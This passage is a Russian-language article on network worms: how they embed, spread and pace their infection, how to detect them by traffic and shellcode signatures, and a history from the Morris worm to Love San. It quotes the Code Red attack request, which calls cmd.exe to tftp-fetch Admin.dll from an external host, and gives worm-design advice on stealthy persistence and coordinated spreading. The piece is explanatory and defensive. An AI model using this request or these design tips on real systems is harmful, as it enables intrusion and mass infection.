назначить существующим динамическим библиотекам подложные псевдонимы (в ОС семейства Windows за это отвечает следующий раздел реестра: HKLM\SYSTEM\CurrentControlSet\Control\Session Maneger\KnownDLLs). Сильно извращенные черви могут регистрировать в системе свои ловушки (hocks), модифицировать таблицу импорта процесса-носителя, вставлять в кодовый сегмент команду перехода на свое тело (разумеется, предварительно присвоив ему атрибут Writable), сканировать память в поисках таблиц виртуальных функций и модифицировать их по своему усмотрению (внимание: в мире UNIX большинство таблиц виртуальных функций располагаются в области памяти, доступной лишь на чтение, но не на запись).

Короче говоря, возможных путей здесь не по-детски много, и затеряться в гуще системных, исполняемых и конфигурационных файлов червю ничего не стоит. Попутно отметим, что только самые примитивные из червей могут позволить себе роскошь создания нового процесса, красноречиво свидетельствующего о наличии посторонних. Печально известный Love San, кстати, относится именно к этому классу. Между тем, используя межпроцессорные средства взаимодействия, внедриться в адресное пространство чужого процесса ничего не стоит, равно как ничего не стоит заразить любой исполняемый файл, в том числе и ядро системы. Кто там говорит, что операционные системы класса Windows NT блокируют доступ к запущенным исполняемым файлам? Выберете любой понравившийся вам файл (путь для определенности это будет iexplore.exe) и переименуйте его в iexplore.dll. При наличии достаточно уровня привилегий (по умолчанию это привилегии администратора) операция переименования завершается успешно, и активные копии Internet Explorer'а автоматически перенаправляются системой к новому имени. Теперь создайте подложный iexplore.exe-файл, записывающий какое-нибудь приветствие в системный журнал и загружающий оригинальный Internet Explorer. Разумеется, это только демонстрационная схема. В реальности все намного сложнее, но вместе с тем и… интереснее! Впрочем, мы отвлеклись. Вернемся к нашему вирусу, в смысле ‑ к червю.

Укрепившись в системе, червь переходит к самой главной фазе своей жизнедеятельности – фазе размножения. При наличии полиморфного генератора, вирус создает совершенно видоизмененную копию своего тела, ну или, на худой конец, просто зашифровывает критические сегменты своего тела. Отсутствие всех этих механизмов оставляет червя вполне боевым и жизнеспособным, однако существенно сужает ареал его распространения. Судите сами, незашифрованный вирус легко убивается любым сетевым фильтром, как-то брандмаузером или маршрутизатором. А вот против полиморфных червей адекватных средств борьбы до сих пор нет, и сомнительно, чтобы они появились в обозримом будущем. Распознание полиморфного кода – эта не та операция, которая может быть осуществлена в реальном времени на магистральных Интернет-каналах. Соотношение пропускной способности современных сетей к вычислительной мощности современных же процессоров явно не в пользу последних. И хотя ни один полиморфный червь до сих пор не замечен в "живой природе", нет никаких гарантий, что такие вирусов не появятся и впредь. Локальных полиморфных вирусов на платформе Intel IA-32 известен добрый десяток (речь идет о подлинном полиморфизме, а не тривиальном замусоривании кода незначащими машинными командами и иже с ними), как говориться ‑ выбирай не хочу.

Но какой бы алгоритм червь не использовал для своего размножения, новорожденные экземпляры покидают родительское гнездо и расползаются по соседним машинам, если, конечно, им удастся эти самые машины найти. Существует несколько независимых стратегий распространения, среди которых в первую очередь следует выделить импорт данных из адресной книги Outlook Express или аналогичного почтового клиента, просмотр локальных файлов жертвы на предмет поиска сетевых адресов, сканирование IP-адресов текущей подсети и генерация случайного IP-адреса. Чтобы не парализовать сеть чрезмерной активностью и не отрезать себе пути к распространению, вирус должен использовать пропускные способности захваченных им информационных каналов максимум наполовину, а лучше десятую или даже сотую часть. Чем меньший вред вирус наносит сетевому сообществу, тем позже он оказывается обнаруженным и тем с меньшей поспешностью администраторы устанавливают соответствующие обновления.

Установив соединение с предполагаемой жертвой, червь должен убедиться в наличии необходимой ему версии программного обеспечения и проверить нет ли на этой системе другого червя. В простейшем случае идентификация осуществляется через рукопожатие. Жертве посылается определенное ключевое слово, внешне выглядящее как безобидный сетевой запрос. Червь, если он только там есть, перехватывает пакет, возвращая инициатору обмена другое ключевое слово, отличное от стандартного ответа незараженного сервера. Механизм рукопожатия – это слабейшее звено обороны червя, конечно, при условии, что червь безоговорочно доверяет своему удаленному собрату. А вдруг это никакой не собрат, а его имитатор? Это обстоятельно очень беспокоило Роберта Морриса, и для борьбы с возможными имитаторами червь был снабжен механизмом, который по замыслу должен был в одном из семи случаев игнорировать признак червя, повторно внедрясь в уже захваченную машину. Однако выбранный коэффициент оказался чересчур параноическим, и уязвимые узлы инфицировались многократно, буквально киша червями, съедающими все процессорное время и всю пропускную способность сетевых каналов. В конечном счете, вирусная атака захлебнулась сама собой, и дальнейшее распространение червя стало невозможным.

Чтобы этого не произошло, всякий червь должен иметь внутренний счетчик, уменьшающийся при каждом успешном расщеплении и при достижении нуля подрывающий червя изнутри. Так или приблизительно так устроен любой живой организм, в противном случае нашей биосфере давно бы наступил конец. А сеть Интернет как раз и представляет собой великолепную модель биосферы в натуральную величину. Поэтому ‑ хотим ли мы того или нет – программный код должен подчинятся объективным законам природы, не пытаясь идти ей наперекор. Это все равно бесполезно.

Кстати говоря, анатомическая схема червя, описанная выше, не является ни общепринятой, ни единственной. Мы выделили в черве два основных компонента – голову и хвост. Другие же исследователи склонны рассматривать червя как организм, состоящий из пасти, именуемой непереводимым термином enablingexploitcode (отпирающий эксплоитный код); механизма распространения (propagationmechanism) и полезной нагрузки (payload), ответственной за выполнение тех или иных деструктивных действий. Принципиальной разницы между различными изображениями червя, разумеется ,нет, но вот терминологической путаницы предостаточно.

Листинг 1 пять голов червя MWORM, поражающие множество уязвимых сервисов. Перед нами "шея" червя, которая, собственно, все эти головы и держит, совершающая ими вращательные движения и при необходимости изрыгающая огонь и пламя…

Листинг 2 одна из голов червя и ее дизассемблерный листинг ниже.

Листинг 3 дизассемблерный листинг одной из голов червя MWORM

Дырами принято называть логические ошибки в программном обеспечении, в результате которых жертва приобретает возможность интерпретировать исходные данные как исполняемый код. Наиболее часто встречаются дыры двух следующих типов: ошибки переполнения буфера(bufferoverflow) и ошибки фильтрации интерполяционных символов или символов-спецификаторов.

И хотя теоретики от безопасности упорно отмахиваются от дыр, как от досадных случайностей, нарушающих стройность воздушных замков абстрактных защитных систем, даже поверхностный анализ ситуации показывает, что ошибки проектирования и реализации носят сугубо закономерный характер, удачно обыгранный хакерами в пословице: "Программ без ошибок не бывает. Бывает – плохо искали". Особенно коварны ошибки переполнения, вызываемые (или даже можно сказать – провоцируемые) идеологией господствующих языков и парадигм программирования. Подробнее об этом мы поговорим в следующей статье этого цикла; пока же отметим, что ни одна коммерческая программа, насчитывающая более десяти-ста тысяч строк исходного текста, не смогла избежать ошибок переполнения. Через ошибки переполнения распространялись Червь Морриса, Linux.Ramen, MWorm, Code Red, Slapper, Slammer, Love San и огромное множество остальных менее известных вирусов.

Список свежих дыр регулярно публикуется на ряде сайтов, посвященных информационной безопасности (крупнейший из которых – www.bugtraq.org) и на web-страничках отдельных хакеров. Заплатки на дыры обычно выходят спустя неделю или даже месяц после появления открытых публикаций, однако в некоторых случаях выход заплатки опережает публикацию, т. к. правила хорошего тона диктуют воздерживаться от распространения информации вплоть до того, пока противоядие не будет найдено. Разумеется, вирусописатели ведут поиск дыр и самостоятельно, однако за все время существования Интернета ни одной дыры ими найдено не было.

Слабые пароли – это настоящий бич всякой системы безопасности. Помните анекдот: " Скажи пароль! ‑ Пароль!"? Шутки шутками, но пароль типа "password" не так уж и оригинален. Сколько пользователей доверяют защиту системы популярным словарным словам (в стиле Супер-Ниндзя, Шварценеггер-Разбушевался и Шварценеггер-Продолжает-Бушевать) или выбирают пароль, представляющий собой слегка модифицированный логин (например логин с одной-двумя цифрами на конце)? Про короткие пароли, пароли состоящие из одних цифр и пароли, полностью совпадающие с логином, мы вообще умолчим. А ведь немалое количество систем вообще не имеют никакого пароля! Существуют даже специальные программы для поиска открытых (или слабо защищенных) сетевых ресурсов, львиная доля которых приходится на локальные сети мелких фирм и государственных организаций. В силу ограниченных финансов содержать более или менее квалифицированного администратора они не могут и о необходимости выбора надежных паролей, судя по всему, даже и не догадываются (а может быть просто ленятся – кто знает).

Первым (а на сегодняшний день и последним) червем, использующим механизм подбора паролей, был и остается Вирус Морриса, удачно комбинирующий словарную атаку с серией типовых трансформаций имени жертвы (исходное имя пользователя, удвоенное имя пользователя, имя пользователя, записанное задом наперед, имя пользователя, набранное в верхнем/нижнем регистре и т. д.). И эта стратегия успешно сработала!

Червь Nimda использует намного более примитивный механизм распространения, проникая лишь в незапароленные системы, что удерживает его от безудержного распространения, поскольку пустые пароли занимают незначительный процент от всех слабых паролей вообще.

Конечно, со времен Морриса многое изменилось, и в мире наблюдается тенденция к усложнению паролей и выбору случайных, бессмысленных последовательностей. Но вместе с этим растет и число пользователей, – администраторы оказываются просто не в состоянии за всеми уследить и проконтролировать правильность выбора пароля. Поэтому атака по словарю по-прежнему остается актуальной угрозой.

Открытые системы : открытыми мы будем называть такие системы, которые беспрепятственно позволяют всем желающим исполнять на сервере свой собственный код. К этой категории преимущественно относятся службы бесплатного хостинга, предоставляющие telnet, perl и возможность установки исходящих TCP-соединений. Существует гипотетический вирус, который поражает такие системы одну за одной и использует их в качестве плацдарма для атаки на другие системы.

В отличии от узлов, защищенных слабыми (отсутствующими) паролями, владелец открытой системы умышленно предоставляет всем желающим свободный доступ, пускай и требующий ручной регистрации, которую, кстати сказать, можно и автоматизировать. Впрочем, ни один из известных науке червей не использует этого механизма, поэтому дальнейший разговор представляется совершенно беспредметным.

Человеческий фактор : о пресловутом человеческом факторе можно говорить много. Но не буду. Это вообще не техническая, а сугубо организационная проблема. Как бы не старалась Microsoft и конкурирующие с нею компании защитить пользователя от себя самого, не урезав при этом функциональность системы до уровня бытового видеомагнитофона, еще никому это не удалось. И никогда не удастся. Паскаль, известным тем, что не позволяет вам выстрелить себе в ногу, значительно уступает по популярности языкам Си и Си++, тем, которые отстреливают вам обе ноги вместе с головой в придачу, даже когда вы этого не планировали.

_– Какой величины территорию должен контролировать каждый червь?

– Это зависит от размеров червя.

Френк Херберт, "Дюна"_

Жизнь червя – это непрерывная борьба за свое существование. Однажды попав в Интернет, червь сталкивается с проблемами захвата системных ресурсов (пропитания), освоения новых территорий (поиска подходящих узлов для заражения), обороны от хищников и прочих "млекопитающих" (брандмаузеров, антивирусов, администраторов и т. д.), попутно решая задачу внутривидовой конкуренции. В этой агрессивной среде выживает лишь хорошо продуманный и тщательно спроектированный высокоинтеллектуальный код. Подавляющее большинство червей умирает вскоре после рождения, и лишь считанным вирусам удается вспыхнуть крупной эпидемией. Почему? Из школьного курса биологии нам известно, что безудержный рост численности любой популяции всегда заканчивается ее гибелью, ведь питательные ресурсы отнюдь не безграничны. Предел численности червей естественным образом регулируется пропускной способностью Интернет-каналов, емкостью оперативной/дисковой памяти и быстродействием процессоров.

Влияние фактора скорости размножения на жизнеспособность вируса исследовалось еще в пионерских работах Ральфа Бургера. Уже тогда было ясно, что в принципе вирус может заразить все файлы локальной машины за один присест (про сетевых червей, в силу отсутствия последних, речь тогда попросту не шла), однако это сделало бы факт заражения слишком заметным, и тогда судьба вируса оказалась бы предрешена (паническое форматирование жесткого диска "на низком уровне", полная переустановка всего программного обеспечения, ну, в общем, вы меня понимаете). Кроме того, на чувственном уровне такой вирус попросту неинтересен.

Рассмотрим крайний случай. Пусть наш вирус совершает единственный акт заражения в своей жизни. Тогда рост численности популяции будет носить линейный характер, продолжающийся до тех пор, пока загрузка системы не превысит некоторую критическую величину, после которой скорость размножения вируса начнет неуклонно падать. В конце концов, вирус сожрет все процессорные ресурсы, всю оперативную и всю дисковую память, после чего система окончательно встанет и ‑ процесс размножения прекратиться. Впрочем, на практике до этого дело обычно не доходит, и владелец компьютера спохватываться куда раньше.

Период, протекающий от момента первого заражения до момента обнаружения вируса по нетипичной активности системы, условимся называть латентным периодом размножения червя. Чем большее количество узлов будет заражено в течение этого времени, тем большие шансы на выживание имеет червь. Выбор правильной стратегии размножения на самом деле очень важен. Причина вымирания большинства червей как раз и заключается в непродуманном размножении. Чаще всего исходный червь расщепляется на два. Два новых червя, готовых к дальнейшему размножению. В следующем поколении этих червей будет уже четыре, затем восемь, потом шестнадцать, тридцать два и так далее по возрастающей… Наглядной физической демонстрацией этого процесса служит атомная бомба. И в том, и в другом случае мы имеем дело с цепной реакцией, отличительной особенностью которой служит ее взрывной характер. На первых порах увеличение численности вирусной популяции происходит так медленно, что им можно полностью пренебречь, но при достижении некоторой критической массы происходит своеобразный взрыв, и дальнейшее размножение протекает лавинообразно. Через короткий отрезок времени – дни или даже считанные часы – червь поражает практически все уязвимые узлы сети, после чего его существование становится бессмысленным и он умирает, раздавленный руками недобрых администраторов, разбуженных часов эдак в пять утра (а черви, в силу всепланетной организации Интернет, имеют тенденцию совершать атаки в самое неудобное с физиологической точки зрения время).

При условии, что выбор IP-адреса заражаемой жертвы происходит по более или менее случайному закону (а большинство червей распространяются именно так), по мере насыщения сети червем скорость его распространения будет неуклонно снижается и вовсе не потому, что магистральные каналы окажутся перегруженными! Попробуйте сгенерировать последовательность случайных байт и подсчитайте количество шагов, требующихся для полного покрытия всей области от 00h до FFh. Очевидно, что за 100h шагов осуществить задуманное нам ни за что не удастся. Если только вы не будете жульничать, одни и те же байты будут выпадать многократно, в то время как другие останутся не выпавшими ни разу! И чем больше байт будет покрыто, тем чаще станут встречаться повторные выпадения! Аналогичным образом дело обстоит и с размножением вируса. На финальной стадии размножения полчища червей все чаще будут стучаться в уже захваченные компьютеры, и гигабайты сгенерированного ими трафика окажутся сгенерированными впустую.

Для решения этой проблемы Червь Морриса использовал несколько независимых механизмов. Во-первых, из каждой зараженной машины он извлекал список доверенных узлов, содержащихся в файлах /etc/hosts.equiv и /.rhosts, а также файлы .forward, содержащие адреса электронной почты. То есть целевые адреса уже не были случайными – это раз. Отпадало большое количество несуществующих узлов – это два. Количество попыток повторного инфицирования сводилось к разумному минимуму – и это три. Подобную тактику используют многие почтовые черви, обращающиеся к адресной книге Outlook Express'a. И эта тактика очень неплохо работает! На сайте корпорации Symantec имеется любопытная утилита – VBSim (Virus and Worm Simulation System), выполняющая сравнительный анализ эффективности червей различных типов.

Во-вторых, различные экземпляры Червя Морриса периодически обменивались друг с другом списком уже зараженных узлов, ходить на которые не нужно. Конечно, наличие каких бы то ни было средств межвирусной синхронизации существенно увеличивает сетевой трафик, однако если к этому вопросу подойти с умом, то перегрузку сети можно легко предотвратить. Заразив все уязвимые узлы, червь впадет в глубокую спячку, уменьшая свою активность до минимума. Можно пойти и дальше, выделив каждому из червей определенное пространство IP-адресов для заражения, автоматически наследуемое новорожденным потомством. Тогда процесс заражения сети займет рекордно короткое время, и при этом ни один из IP-адресов не будет проверен дважды. Исчерпав запас IP-адресов, червь обратит свои внутренние счетчики в исходное положение, вызывая вторую волну заражения. Часть ранее инфицированных узлов к этому моменту уже будет исцелена (но не залатана), а часть может быть инфицирована повторно.

Как бы там ни было, грамотно спроектированный червь вызывать перегрузку сети не должен, и лишь досадные программистские ошибки мешают привести этот план в исполнение. Внешне такой червь может показаться вполне безопасным, и подавляющее большинство администраторов скорее всего проигнорируют сообщения об угрозе (ибо негласное правило предписывает не трогать систему, пока она работает). Дыры останутся незалатанными и… в один прекрасный момент всемирная сеть рухнет.

В этом свете весьма показателен процесс распространения вируса Code Red, в пике своей эпидемии заразившего свыше 359.000 узлов в течении 24 часов. Как были получены эти цифры? Программа-монитор, установленная в локальной сети Лаборатории Беркли, перехватывала все проходящие через нее IP-пакеты и анализировала их заголовки. Пакеты, адресованные несуществующим узлам и направляющиеся на 80-й порт, были очевидно отправлены зараженным узлом (Code Red распространялся через уязвимость в MS IIS-сервере). Подсчет уникальных IP-адресов узлов-отправителей позволил надежно установить нижнюю границу численности популяции вируса. При желании процесс расползания вируса по всемирной сети можно увидеть и в динамике – www.caida.org/analysis/security/code-red/newframes-small-log.mov. Там же, на странице http://www.caida.org/analysis/security/code-red/coderedv2_analysis.xml, содержится текст, комментирующий происходящее зрелище. А зрелище и впрямь получилось впечатляющим и… поучительным. Всем, особенно разработчикам вирусов, настоятельно рекомендую посмотреть. Быть может это научит кое-кого не ронять сеть своим очередным… ммм… творением.

Рисунок 3 зависимость удельной скорости распространения червя от времени. Сначала червь размножался крайне медленно, можно даже сказать лениво. Впрочем, на поражение ключевых нервных центров сети у вируса ушло всего несколько часов, по истечении которых он успел оккупировать практически все развитые страны мира. Нагрузка на сеть стремительно росла, однако провайдеры с этим еще справлялись. Приблизительно через 12 часов, когда червь вступил во взрывную стадию своего размножения, объем перекачиваемого трафика скачкообразно возрос в тысячи раз, и большинство сетевых ресурсов оказалось недоступно, что затормозило распространение червя, но было уже поздно, т. к. львиная часть уязвимых серверов к тому времени оказалась поражена. Испещренный характер спада кривой отражает периодическое полегание различных сегментов сети Интернет, загибающихся от чудовищной нагрузки, и их мужественное восстановление самоотверженными администраторами. Вы думаете, они устанавливали заплатки? А вот и нет! Через четыре часа, когда вирус окончил свое распространение и перешел к массированной атаке, на кривой наблюдается небывалый всплеск, по сравнению с которым предыдущий пик не тянет даже на жалкий холмик. 12.000 искажаемых WEB-страниц за минуту – это ли не результат?!

_– Это знак червя?

– Червь. И большой.

Френк Херберт, "Дюна"_

Грамотно сконструированный и не слишком прожорливый программный код обнаружить не так-то просто! Есть ряд характерных признаков червя, но все они ненадежны, и гарантированный ответ дает лишь дизассемблирование. Но что именно нужно дизассемблировать? В случае с файловыми вирусами все более или менее ясно. Подсовываем системе специальным образом подготовленные "дрозофилы" и смотрим – не окажется ли какая-то из них изменена. Хороший результат дает и проверка целостности системных файлов по заранее сформированному эталону. В операционных системах семейства Windows на этот случай припасена утилита sfc.exe, хотя, конечно, специализированный дисковый ревизор справиться с этой задачей намного лучше.

Черви же могут вообще не дотрагиваться до файловой системы, оседая в оперативной памяти адресного пространства уязвимого процесса. Распознать зловредный код по внешнему виду нереально, а проанализировать весь слепок памяти целиком – чрезвычайно трудоемкий и затруднительный процесс, тем более что явных команд передачи управления машинному коду червя может и не быть (подробнее см. "структурная анатомия червя").

Однако, где вы видели вежливого и во всех отношениях корректного червя? Ничуть не собираясь отрицать тот факт, что среди червей попадаются и высокоинтеллектуальные разработки, созданные талантливыми и, бесспорно, профессиональными программистами, автор этой статьи вынужден признать, что все черви, выловленные в живой природе, содержали те или иные конструктивные огрехи, демаскирующие присутствие чего-то постороннего.

Верный признак червя – большое количество исходящих TCP/IP-пакетов, расползающихся по всей сети и в большинстве своем адресованных несуществующим получателям. Рассылка пакетов происходит либо постоянно, либо совершается через более или менее регулярные и при том очень короткие промежутки времени, например, через 3 – 5 сек. Причем соединение устанавливается без использования доменного имени, непосредственно по IP-адресу (внимание : не все анализаторы трафика способны распознать этот факт, поскольку на уровне функции connect соединение всегда устанавливается именно по IP-адресам, возвращаемым функцией gethostbyname по их доменному имени). Правда, как уже отмечалось, червь может сканировать локальные файлы жертвы на предмет поиска подходящих доменных имен. Это может быть и адресная книга почтового клиента, и список доверенных узлов, и просто архив HTML-документов (странички со ссылками на другие сайты для HTTP-червей в высшей степени актуальны). Ну, факт сканирования файлов распознать нетрудно. Достаточно поместить наживку – файлы, которые при нормальных обстоятельства никогда и никем не открываются (в т. ч. и антивирусными демонами установленными в системе), но с ненулевой вероятностью будут замечены и проглочены червем. Достаточно лишь периодически контролировать время последнего доступа к ним.

Другой верный признак червя – ненормальная сетевая активность. Подавляющее большинство известных на сегодняшний день червей размножаются с неприлично высокой скоростью, вызывающей характерный взлет исходящего трафика. Также могут появиться новые порты, которые вы не открывали и которые непонятно кто прослушивает. Впрочем, прослушивать порт можно и без его открытия – достаточно лишь внедриться в низкоуровневый сетевой сервис. Поэтому к показаниям анализаторов трафика следует относиться со здоровой долей скептицизма, если, конечно, они не запущены на отдельной машине, которую червь гарантированно не сможет атаковать.

Третьим признаком служат пакеты с подозрительным содержимым. Под "пакетом" здесь понимаются не только TCP/IP-пакеты, но и сообщения электронной почты, содержащие откровенно "левый" текст (впрочем, червь может маскироваться и под спам, а тщательно исследовать каждое спаммерское письмо не хватит ни нервов, ни времени). Вот TCP-пакеты в этом смысле намного более предпочтительнее, поскольку их анализ удается автоматизировать. Что следует искать? Универсальных решений не существует, но кое-какие наметки дать все-таки можно. В частности, применительно к web-серверам и запросам типа GET характерным признаком shell-кода являются: а) имена командных интерпретаторов (cmd.exe, sh), системных библиотек типа admin.dll и подобных им файлов; б) последовательность из трех и более машинных команд NOP, записываемая приблизительно так: %u9090; в) машинные команды CALL ESP, JMP ESP, INT 80h и другие подобные им (полный список занимает слишком много места и поэтому здесь не приводится); г) бессмысленные последовательности вроде .\.\.\ или XXX, используемые вирусом для переполнения.

Однако не пытайтесь напрямую дизассемблировать двоичный код, содержащийся в пакете, выглядевшем как пакет, предназначенный для срыва стека и подрыва авторитета системы. Поскольку заранее неизвестно на какой именно байт shell-кода передается управление, точку входа определить не так-то просто, и вовсе не факт, что ею окажется первый байт пакта или двоичного кода. И не возлагайте на авторизированный поиск большие надежды – он срабатывает далеко не всегда. Достаточно слегка зашифровать shell-код, и все признаки червя немедленно исчезнут. Впрочем, поскольку размер переполняемого буфера зачастую очень и очень мал, втиснуть в отведенный объем головы вируса еще и шифровщик не так-то просто.

Во всяком случае тройка крупнейших червей легко обнаруживается автоматизированным анализом: и Code Red, и Nimda, и Slammer…

Листинг 4 голова червя Code Red, приходящая в первом TCP-пакете

GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/ c+tftp%20-i%20XXX.XXX.XXX.XXX%20GET%20Admin.dll%20c:\Admin.dll

Листинг 5 голова червя Nimda

Если червь содержит в себе незашифрованные текстовые строки (а многие из червей устроены именно так!), то злобный характер его натуры распознается уже при беглом просмотре HEX-кода исследуемого файла:

Листинг 7 фрагмент вируса Love San после распаковки

Ищите в дампе подозрительные сообщения, команды различных прикладных протоколов (GET, HELO и т. д.), имена системных библиотек, файлов-интерпретаторов, команды операционной системы, символы конвейера, доменные имена сайтов, обращение к которым вы не планировали и в чьих услугах судя по всему не нуждаетесь, IP-адреса, ветви реестра, ответственные за автоматический запуск программ и т. д.

При поиске головы червя используйте тот факт, что shell-код эксплоита, как правило, размещается в секции данных и содержит легко узнаваемый машинный код. В частности, команда CDh 80h (INT 80h), ответственная за прямой вызов системных функций операционных систем семейства LINUX, встречается практически во всех червях, обитающих на этой ОС.

Вообще говоря, проанализировав десяток различных червей, вы настолько проникнетесь концепциями их устройства, что без труда распознаете знакомые конструкции и в других организмах. А заочно червей все равно не изучить.

_– Как же тогда справиться с червями?

– Мне неизвестно оружие, кроме атомного,

взрывчатой силы которого было бы достаточно

для уничтожения червя целиком.

Френк Херберт, "Дюна"_

Гарантированно защититься от червей нельзя. С другой стороны, черви, вызвавшие крупные эпидемии, все до единого появлялись задолго после выхода заплаток, атакуя компьютеры, не обновляемые в течении нескольких месяцев или даже лет! В отношении серверов, обсуживаемых лицами, претендующими на звание "администратора", это, бесспорно, справедливая расплата за небрежность и бездумность. Но с домашними компьютерами не все так просто. У среднестатического пользователя ПК нет ни знаний, ни навыков, ни времени, ни денег на регулярное выкачивание из сети сотен мегабайт всякого дерьма, гордо именующего себя Service Pack'ом и зачастую устанавливающимся только после серии магических заклинаний и танцев с бубном. Неквалифицированные пользователи в своей массе никогда не устанавливали обновления и никогда не будут устанавливать.

Важно понять, что антивирусы вообще не могут справиться с червями. В принципе. Потому что, исцеляя машину, они не устраняют брешь в системе безопасности, и вирус приползает вновь и вновь. Не стоит возлагать особых надежд и на брандмаузеры. Да, они могут оперативно закрыть уязвимый порт или отфильтровывать сетевые пакеты с сигнатурой вируса внутри. При условии что вирус атакует порт той службы, которая не очень-то и нужна, брандмаузер, действительно, действует безотказно (если, конечно, не может быть атакован сам). Хуже, если червь распространяется через такой широко распространенный сервис как, например, WEB. Закрывать его нельзя и приходится прибегать к анализу TCP/IP-трафика на предмет наличия в нем следов того или иного червя, то есть идти по пути выявления вполне конкретных представителей кибернетической фауны.

Хотя отдельные фирмы и предлагают высокопроизводительные аппаратные сканеры, построенные на программируемых логических устройствах, сокращенно именуемых PLD – от ProgrammableLogicDevices (www.arl.wustl.edu/~lockwood/publications/MAPLD_2003_e10_lockwood_p.pdf), ‑ в целом ситуация остается довольно удручающей, причем ни один из представленных на рынке сканеров не способен распознавать полиморфных червей, т. к. для осуществления этой операции в реальном времени потребуется весьма нехилые аппаратные мощности, и стоимость получившегося агрегата рискует оказаться сопоставимой с убытками, наносимыми самими червями (а в том, что такие черви когда-нибудь да появятся, сомневаться не приходится). Впрочем, программные сканеры сокращают пропускную способность системы еще больше…

Жестокая, но зато кардинальная мера – заблаговременно создать слепок операционной системы вместе со всеми установленными приложениями и в ответственных случаях автоматически восстанавливать один раз в сутки или, по крайней мере, один раз в месяц. В частности, в операционных системах семейства NT это можно сделать с помощью штатной программы backup и встроенного планировщика. Правда, если червь поражает пользовательские файлы (например, файлы документов, письма электронной почты, скачанные web-странички и т. д.) это ничем не поможет. Теоретически факт искажения пользовательских файлов могут выявить ревизоры и системы контроля версий, практически же они с трудом отличают изменения, вызванные вирусом, от изменений сделанных самых пользователем. Но не будем забывать о возможности подложить вирусу дрозофилу, целостность которой мы и будем время от времени контролировать.

Рисунок 4 так может выглядеть аппаратный анализатор трафика

Информационные бюллетени, выходящие в последнее время, все больше и больше напоминают боевые сводки с полей сражения. Только за первые три года нового тысячелетия произошло более десяти разрушительных вирусных атак, в общей сложности поразивших несколько миллионов компьютеров. Более точную цифру привести затруднительно, поскольку всякое информационное агентство склонно оценивать размах эпидемии по-своему, и различия в один-два порядка – вполне распространенное явление. Но как бы там ни было, затишье, длившееся еще со времен Морриса, закончилось, и вирусописатели, словно проснувшиеся после долгой спячки, теперь перешли в наступление. Давайте вспомним, как все это начиналось.

Первой ласточкой, стремительно вылетевшей из гнезда, стала Melissa, представляющая собой обычный макровирус, распространяющийся через электронную почту. Способностью к самостоятельному размножению она не обладала и сетевым червем в строгом смысле этого слова очевидно не являлась. Для поддержания жизнедеятельности вируса требовалось наличие большого количества неквалифицированных пользователей, которые: а) имеют установленный MS Word; б) игнорируют предупреждения системы о наличии макросов в документе или же обработка макросов по умолчанию разрешена; в) пользуются адресной книгой почтового клиента Outlook Express; г) все приходящие вложения открывают не глядя. И эти пользователи нашлись! По различным оценкам Meliss'e удалось заразить от нескольких сотен тысяч до полутора миллионов машин, затронув все развитые страны мира.

Величайшая ошибка информационных агентств и антивирусных компаний состоит в том, что они в погоне за сенсацией, сделали из Meliss'ы событие номер один, чем раззадорили огромное количество программистов всех мастей, вручив им образец для подражания. Как это обычно и случается, на первых порах подражатели дальше тупого копирования не шли. Сеть наводнили полчища вирусов-вложений, скрывающих свое тело под маской тех или иных форматов. Верхом наглости стало появление вирусов, распространяющихся через исполняемые файлы. И ведь находились такие пользователи, что их запускали… Разнообразные методы маскировки (вроде внедрения в исполняемый файл пиктограммы графического) появились значительно позже. Нашумевший Love Letter, прославившийся своим романтическим признанием в любви, технической новизной не отличался и как его коллеги распространялся через почтовые вложения, в которых на этот раз содержался VisualBasicScript. Три миллиона зараженных машин – рекорд, который не смог побить даже сам Love San, – лишний раз свидетельствует о том, что рядовой американский мужик не крестится даже после того как гром трижды вдарит и охрипший от свиста рак с горы гикнется.

Более или менее квалифицированных пользователей (и уж тем более профессионалов!) существование почтовых червей совершенно не волновало и они полагали, что находятся в абсолютной безопасности. Переломным моментом стало появление Kilez'а, использующего для своего распространения ошибку реализации плавающих фреймов в InternetExplorer'e. Заражение происходило в момент просмотра инфицированного письма и сетевое сообщество немедленно забило тревогу.

Однако за год до этот был отмечено появление первого червя, самостоятельно путешествующего по сети и проникающего на заражаемые сервера через дыру в MicrosoftInternetInformationServer'е и SunSolarisAdminSuite. По некоторым данным, червю удалось поразить до тысяч машин (на две тысячи больше, чем Червь Морриса). Для современных масштабов Сети это пустяк, не стоящий даже упоминания. Короче говоря, вирус остался незамеченным, а программное обеспечение – не обновленным.

Расплата за халатное отношение к безопасности не заставила себя ждать и буквально через пару месяцев появился новый вирус, носящий название Code Red, которых со своей более поздней модификацией Code Red II уложил более миллиона узлов за короткое время. Джин был выпущен из бутылки и тысячи хакеров, вдохновленные успехов своих коллег, оторвали мыши хвост и засели за клавиатуру.

За два последующих года были найдены критические уязвимости в Apache- и SQL серверах и выращены специальные породы червей для их освоения. Результат, как водится, превзошел все ожидания. Сеть легла и некоторые даже стали поговаривать о скором конце Интернета и необходимости полной реструктуризации сети (хотя всего-то и требовалось, уволить администраторов не установивших вовремя заплатки).

Вершиной всему стала грандиозная дыра, найденная системе управления DCOM и распространяющаяся на весь модельный ряд NT-подобных систем (в первую очередь это сама NT, а так же W2K, XP и даже Windows 2003). Тот факт, что данная уязвимость затрагивает не только серверы, но и рабочие станции (включая домашние компьютеры) обеспечил червю Love San плодотворное поле для существования, поскольку подавляющее большинство домашних компьютеров и рабочих станций управляется неквалифицированным персоналам не собирающимся в ближайшее время ни обновлять операционную систему, ни устанавливать брандмаузер, ни накладывать заплатку на дыру в системе безопасности, ни даже отключать этот никому ненужный DCOM (для отключения DCOM можно воспользоваться утилитой DCOMbobulator, доступной по адресу http://grc.com/freepopular.htm, она же проверит вашу машину на уязвимость и даст несколько полезных рекомендаций по защите системы).

Что ждет нас завтра – неизвестно. В любой момент может открыться новая критическая уязвимость, поражающая целое семейство операционных систем, и прежде чем соответствующие заплатки будут установлены, деструктивные компоненты червя (если таковые там будут) могут нанести такой урон, которых повергнет весь цивилизованный мир во мрак и хаос…

Таблица 1 Top10 парад сетевых вирусов – от Червя Морриса до наших дней (указанное количество зараженных машин собрано из различных источников и не слишком-то достоверно, поэтому не воспринимайте его как истину в первой инстанции)

интересные ссылки на сетевые ресурсы

• Attacks of the Worm Clones - Can we prevent them:

o материалы RSAConference 2003 от Symantec, содержит множество красочных иллюстраций, которые стоят того, чтобы на них посмотреть _http://__www.__rsaconference.__com/__rsa2003/__europe/__tracks/__pdfs/__hackers___t14___szor.__pdf;_

• An Analysis of the Slapper Worm Exploit:

